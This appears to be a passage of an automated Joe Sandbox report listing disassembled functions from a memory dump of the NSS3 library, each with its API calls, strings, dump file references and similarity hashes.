Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

Part of subcall function 6CEC9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CEC9466

PR_ExitMonitor.NSS3(?), ref: 6CEC801B
PR_EnterMonitor.NSS3(?), ref: 6CEC8034
TlsGetValue.KERNEL32 ref: 6CEC80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEC80C0
PR_ExitMonitor.NSS3(?), ref: 6CEC811C
PR_ExitMonitor.NSS3(?), ref: 6CEC8134

Strings

), xrefs: 6CEC80DB

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 11eaad660b8834a55f93f30db71d5d04df0333fe440449847a4dfd2a25dcbf01
Instruction ID: c7441948e84f0cf7e6e078ed1d3f8cc8ab81a837139120d6d16e3e3e10383abd
Opcode Fuzzy Hash: 11eaad660b8834a55f93f30db71d5d04df0333fe440449847a4dfd2a25dcbf01
Instruction Fuzzy Hash: 57510372B047049AE7219F359F017EB77F0AF5230CF28452ED9A946B42EB31A609C793

Function 6CE6FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CE6FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CE6FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CE6FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE6FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CE6FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CE6FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CE6FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE6FD84

Strings

:, xrefs: 6CE6FD78

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: cc6a83bda0be38415721d4b591496767cd30e7d0bdc6637e3d2a3e0b10e56a72
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: C531D1B2D902059BEB008AA6DC057AFB7B8AF4135CF250138DD14ABF00E779E908C7D2

Function 6CE86C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CE86C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE86C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE86CA3

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE86CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CE86CD5

Strings

C_DigestInit, xrefs: 6CE86C61
(CK_INVALID_HANDLE), xrefs: 6CE86C9C
hSession = 0x%x, xrefs: 6CE86C7E, 6CE86C8E
pMechanism = 0x%p, xrefs: 6CE86CD0

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 6bd50622c77be75be14b82df4c7cff127f5d3f045c8a9a9af7d11f1f9df3e7ab
Instruction ID: 941a18228dbd7e55b8b64eb7491cab105d14693f2613badba6c12aa87ca33f64
Opcode Fuzzy Hash: 6bd50622c77be75be14b82df4c7cff127f5d3f045c8a9a9af7d11f1f9df3e7ab
Instruction Fuzzy Hash: 8F212B70A121049BDB409B55DDC8B5A37B9EB4231CF154429E80DABB41DF319908C795

Function 6CE89DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CE89DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE89E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE89E33

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE89E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CE89E65

Strings

(CK_INVALID_HANDLE), xrefs: 6CE89E2C
hSession = 0x%x, xrefs: 6CE89E0E, 6CE89E1E
flags = 0x%x, xrefs: 6CE89E60
C_SessionCancel, xrefs: 6CE89DF1

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 5e3ba62ed497f0a5b97f57cfd9318b0d8c98b7ebd4add85a0d206c47a2dc14fe
Instruction ID: 14d1a87dbcc9231fe17e4babf3de244b593afaa8f5bd9e9b6bb75b5c362b7402
Opcode Fuzzy Hash: 5e3ba62ed497f0a5b97f57cfd9318b0d8c98b7ebd4add85a0d206c47a2dc14fe
Instruction Fuzzy Hash: 31210771F12104AFD7409B55DDC8B6A3BB5EB4230DF154429E80DABB41DB319C48C7B6

Function 6CE50F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE50F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE50F84

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CE6F59B,6CF7890C,?), ref: 6CE50FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CE50FC1

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CE50FDB
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE50FEF
PL_FreeArenaPool.NSS3(?), ref: 6CE51001
PL_FinishArenaPool.NSS3(?), ref: 6CE51009

Strings

security, xrefs: 6CE50F5C

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: c769c2a70af29cb82310759cbdb03c4acb869f0d196612387ac07932a943acdf
Instruction ID: c44b211e135bd55d8790bfecdf2ff92ab59fde9fee449f2d39811eb336e7fc3b
Opcode Fuzzy Hash: c769c2a70af29cb82310759cbdb03c4acb869f0d196612387ac07932a943acdf
Instruction Fuzzy Hash: 8E2136B1900204ABE7009F25DD81AAAB7B8EF4425CF208419FC18AA701F732D915CBA2

Function 6CE56DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CE57D8F,6CE57D8F,?,?), ref: 6CE56DC8

Part of subcall function 6CEAFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CEAFE08
Part of subcall function 6CEAFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CEAFE1D
Part of subcall function 6CEAFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CEAFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CE57D8F,?,?), ref: 6CE56DD5

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF78FA0,00000000,?,?,?,?,6CE57D8F,?,?), ref: 6CE56DF7

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE56E35

Part of subcall function 6CEAFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CEAFE29
Part of subcall function 6CEAFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CEAFE3D
Part of subcall function 6CEAFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CEAFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE56E4C

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF78FE0,00000000), ref: 6CE56E82

Part of subcall function 6CE56AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CE5B21D,00000000,00000000,6CE5B219,?,6CE56BFB,00000000,?,00000000,00000000,?,?,?,6CE5B21D), ref: 6CE56B01
Part of subcall function 6CE56AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CE56B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE56F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE56F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF78FE0,00000000), ref: 6CE56F6B
PR_SetError.NSS3(FFFFE005,00000000,6CE57D8F,?,?), ref: 6CE56FE1

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 68e8951840efee87a6dcef4a9a71bbcb2895c4f64e28c63516e129ab74aa8db6
Instruction ID: 44afd1f57266be1bf56c10543488fc8e96684bfc0b75a4b0a094aa0f0781ee46
Opcode Fuzzy Hash: 68e8951840efee87a6dcef4a9a71bbcb2895c4f64e28c63516e129ab74aa8db6
Instruction Fuzzy Hash: 88717171D102469FDB00CF55CD41AAAB7B8BF5530CF654229E808DBB11F772EAA5CBA0

Function 6CE90FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE91057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE91085
PK11_GetAllTokens.NSS3 ref: 6CE910B1
free.MOZGLUE(?), ref: 6CE91107
PR_SetError.NSS3(00000000,00000000), ref: 6CE91172
free.MOZGLUE(?), ref: 6CE91182
free.MOZGLUE(?), ref: 6CE911A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CE911C5

Part of subcall function 6CE952C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CE6EAC5,00000001), ref: 6CE952DF
Part of subcall function 6CE952C0: EnterCriticalSection.KERNEL32(?), ref: 6CE952F3
Part of subcall function 6CE952C0: PR_Unlock.NSS3(?), ref: 6CE95358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE911D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE911F3

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: b05a0a4802bf249ddcbc3cff0f3549032f1a4b460614c2198e6efc80479e5d56
Instruction ID: a60669296d3e820c1f6283e4663ba1d58c7d8a6c9b2f46b99a5221561cf0e8ab
Opcode Fuzzy Hash: b05a0a4802bf249ddcbc3cff0f3549032f1a4b460614c2198e6efc80479e5d56
Instruction Fuzzy Hash: CC6183B5E013459FEB00DFA5DC41BAEB7B9AF04348F244128EC19AB741E772E945CB61

Function 6CE9ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE10
EnterCriticalSection.KERNEL32(?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CE7D079,00000000,00000001), ref: 6CE9AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE7F
TlsGetValue.KERNEL32(?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEF1
free.MOZGLUE(6CE7CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?), ref: 6CE9AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AF30

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 51b51b4e29eab9c60da22e5a905194603a7024d00afda3230760966fc1be7289
Instruction ID: 2ae723b31025b79d42e8834e5e72909db81349d501649085cdcac2e9f6c4272f
Opcode Fuzzy Hash: 51b51b4e29eab9c60da22e5a905194603a7024d00afda3230760966fc1be7289
Instruction Fuzzy Hash: 09518EB5E40602EFDB409F29D885B69B7B4BF05318F244268E81997F11E731E8A4CBD1

Function 6CE74CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE7AB7F,?,00000000,?), ref: 6CE74CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CE7AB7F,?,00000000,?), ref: 6CE74CC8
TlsGetValue.KERNEL32(?,6CE7AB7F,?,00000000,?), ref: 6CE74CE0
EnterCriticalSection.KERNEL32(?,?,6CE7AB7F,?,00000000,?), ref: 6CE74CF4
PL_HashTableLookup.NSS3(?,?,?,6CE7AB7F,?,00000000,?), ref: 6CE74D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CE74D10

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

PR_Now.NSS3(?,00000000,?), ref: 6CE74D26

Part of subcall function 6CF19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DC6
Part of subcall function 6CF19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DD1
Part of subcall function 6CF19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF19DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CE74D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CE74DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CE74E02

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: f4ca8bca7b8f24f4a6aab09df3110143c3cf5a76afd81c3c42e1e0a6b956e476
Instruction ID: dd899951fad1d72f1551169038c0c8965097b4dfa37c7991ce1499b099058135
Opcode Fuzzy Hash: f4ca8bca7b8f24f4a6aab09df3110143c3cf5a76afd81c3c42e1e0a6b956e476
Instruction Fuzzy Hash: 8E41C5B6D002019BEB119F65EC40A6A77B8EF0525CF254175ED18C7B12FB31D914CBA2

Function 6CE5BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE5BFFB

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CE5C015

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CE5C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CE5C04D

Part of subcall function 6CEA69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CEA6A47
Part of subcall function 6CEA69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CEA6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CE5C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CE5C07B

Part of subcall function 6CE58980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CE57310), ref: 6CE589B8
Part of subcall function 6CE58980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CE57310), ref: 6CE589E6
Part of subcall function 6CE58980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CE58A00
Part of subcall function 6CE58980: CERT_CopyRDN.NSS3(00000004,00000000,6CE57310,?,?,00000004,?), ref: 6CE58A1B
Part of subcall function 6CE58980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CE58A74

Part of subcall function 6CE51D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CE5C097,00000000,000000B0,?), ref: 6CE51D2C
Part of subcall function 6CE51D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CE5C09B,00000000,00000000,00000000,?,6CE5C097,00000000,000000B0,?), ref: 6CE51D3F
Part of subcall function 6CE51D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CE5C087,00000000,000000B0,?), ref: 6CE51D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CE5C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CE5C0C9

Part of subcall function 6CE62DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CE5C0D2,6CE5C0CE,00000000,-000000D4,?), ref: 6CE62DF5
Part of subcall function 6CE62DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CE5C0CE,00000000,-000000D4,?), ref: 6CE62E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CE5C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5C0E3

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 554c390644b9f1535efb5dd6ecf2e4f01362341229c631a6d8342a0aacdbdd47
